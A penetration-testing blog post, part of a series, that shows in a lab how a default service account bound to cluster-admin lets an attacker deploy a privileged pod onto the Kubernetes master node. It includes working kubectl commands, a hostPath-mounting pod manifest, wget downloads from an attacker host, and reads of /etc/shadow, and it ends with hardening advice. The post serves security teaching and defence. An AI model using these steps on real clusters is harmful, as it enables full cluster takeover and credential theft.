Kubernetes Penetration Testing – Part Four: Exploiting RBAC Misconfigurations for Master Node Compromise

In Part One, we began our offensive journey by exploiting a vulnerable web app to gain initial access to a Kubernetes container.

In Part Two, we escalated privileges using the exposed Docker socket, ultimately compromising the underlying worker node’s filesystem.

In Part Three, we explored another critical attack path, chaining a Server-Side Template Injection (SSTI) vulnerability with the --privileged flag to escape the container and execute commands directly on the host system.

Now in Part Four, we demonstrate how excessive Role-Based Access Control (RBAC) permissions can be abused to deploy a privileged pod directly onto the master node, mount the host’s root filesystem, and achieve full cluster compromise.

This technique highlights how chaining seemingly unrelated misconfigurations, like RBAC over-permission and pod privilege escalation, can lead to complete Kubernetes control.

In this blog, we’ll walk through:

  • Enumerating RBAC from inside a compromised container
  • Understanding Roles, RoleBindings, ClusterRoles, and ClusterRoleBindings
  • Identifying when the default service account has cluster-admin access
  • Abusing that misconfiguration to compromise the Kubernetes worker or master node

In our lab environment, the default service account in the default namespace was intentionally bound to the cluster-admin ClusterRole.
This misconfiguration grants unrestricted access to the Kubernetes API, allowing any pod using that service account to compromise the entire cluster, including both worker and master nodes.

After gaining a reverse shell via RCE vulnerability like Command Injection or SSTI, our next step is to enumerate RBAC permissions.

Step 1: Check Which Service Account We’re Running As

cat /var/run/secrets/kubernetes.io/serviceaccount/token

What is inside the token?

That long string is a Base64-encoded JWT (JSON Web Token). When decoded (e.g., via jwt.io), it reveals:

sub: system:serviceaccount:default:default

This confirms the pod is using the default service account in the default namespace.

Step 2: Check Permissions

./kubectl auth can-i create pods --all-namespaces
./kubectl auth can-i '*' '*' --all-namespaces

If these return yes, we may have cluster-admin access. But to confirm, we need to understand and inspect Kubernetes RBAC.

RBAC (Role-Based Access Control) governs who can do what in Kubernetes. It’s built around four core objects:

ObjectDescription
RoleGrants access to resources within a namespace
RoleBindingBinds a Role to a user/group/service account in a specific namespace
ClusterRoleGrants access to resources cluster-wide or across all namespaces
ClusterRoleBindingBinds a ClusterRole to a user/group/service account cluster-wide

As a pentester, our priority is to identify if the default service account (automatically assigned to pods unless overridden) has excessive privileges.

This would allow any pod using that service account to create/delete/exec/modify anything in the cluster, including launching pods on the worker or master node.

Step 1: List ClusterRoleBindings

./kubectl get clusterrolebindings -o json
./kubectl get clusterrolebindings -o json | jq
./kubectl get clusterrolebindings -o yaml | grep -A5 "cluster-admin"

The default service account in the default namespace is bound to the cluster-admin ClusterRole via a ClusterRoleBinding.

This means:

  • Any pod running in the default namespace without a specific service account will use the default service account by default
  • That pod has unrestricted access to the Kubernetes API
  • We can:
    • Create pods
    • Delete nodes
    • Access secrets
    • Escalate privileges
    • Exec into any pod
    • Schedule pods on master nodes
    • Dump the entire cluster state

We’ll exploit this access by creating a privileged pod, mounting the host’s / filesystem, and scheduling it directly on the master node.

Step 1: Create the Malicious YAML File

apiVersion: v1
kind: Pod
metadata:
  name: kubernetes-pentest-part4
  labels:
    app: kubernetes-pentest-part4
spec:
  hostNetwork: true
  containers:
  - name: rbac-master-compromise
    image: hackingkubernetes/api:latest
    imagePullPolicy: IfNotPresent
    volumeMounts:
    - name: hostsvolume
      mountPath: /attacker
    ports:
    - containerPort: 8080
    securityContext:
      privileged: true
  volumes:
  - name: hostsvolume
    hostPath:
      path: /
  nodeName: master

Step 2: Transfer Files and Deploying the Pod

wget http://192.168.115.178:8000/rbac-master-compromise.yaml
wget http://192.168.115.178:8000/kubectl

chmod +x kubectl
./kubectl create -f rbac-master-compromise.yaml

Step 3: Confirm Pod Creation

./kubectl get pods
./kubectl exec -it kubernetes-pentest-part4 -- /bin/sh
id && whoami
ifconfig ens37

cat /attacker/etc/hostname        # Should say 'master'
cat /attacker/etc/shadow          # Dumps user hashes

We are now inside a privileged pod running on the master node, with the host mounted under /attacker.

After deploying our privileged pod with hostNetwork: true and mounting the host filesystem via hostPath: /, we used kubectl exec to verify access.

Running ifconfig ens37 revealed the host’s IP address: 192.168.115.135, matching the master node.

We further confirmed system access by:

  • Reading /attacker/etc/hostname
  • Listing files inside /attacker/root/ – (docker-sock-vuln-crackme.txt)

A parallel terminal session on the master node showed identical contents, confirming complete host compromise.

This part of our Kubernetes penetration testing series demonstrates how a seemingly small misconfiguration, binding the default service account in the default namespace to the cluster-admin ClusterRole, can result in full control of the entire cluster.

From a single reverse shell, we:

  • Enumerated RBAC permissions from inside the cluster
  • Confirmed over-privileged access via ClusterRoleBinding
  • Deployed a privileged pod directly on the master node
  • Mounted the host filesystem and extracted sensitive data

This attack chain underscores a critical lesson: access control in Kubernetes is everything. When RBAC is misconfigured, it becomes the shortest path from container escape to full cluster compromise, no kernel exploits or CVEs required.

In Part Five, we’ll go after the heart of Kubernetes: the etcd key-value store.
We’ll demonstrate how attackers can enumerate, access, and dump secrets from etcd when it’s exposed or misconfigured.

  • Always enforce least privilege for service accounts.
  • Never assign cluster-admin to default or namespace-wide accounts.
  • Implement admission control policies (e.g., OPA Gatekeeper) to block privileged containers or hostPath mounts.
  • Audit your RBAC bindings regularly using tools like rakkess, kubeaudit, or native Kubernetes APIs.

Share the Post:

Table of Contents

Subscribe To Our Blog

Light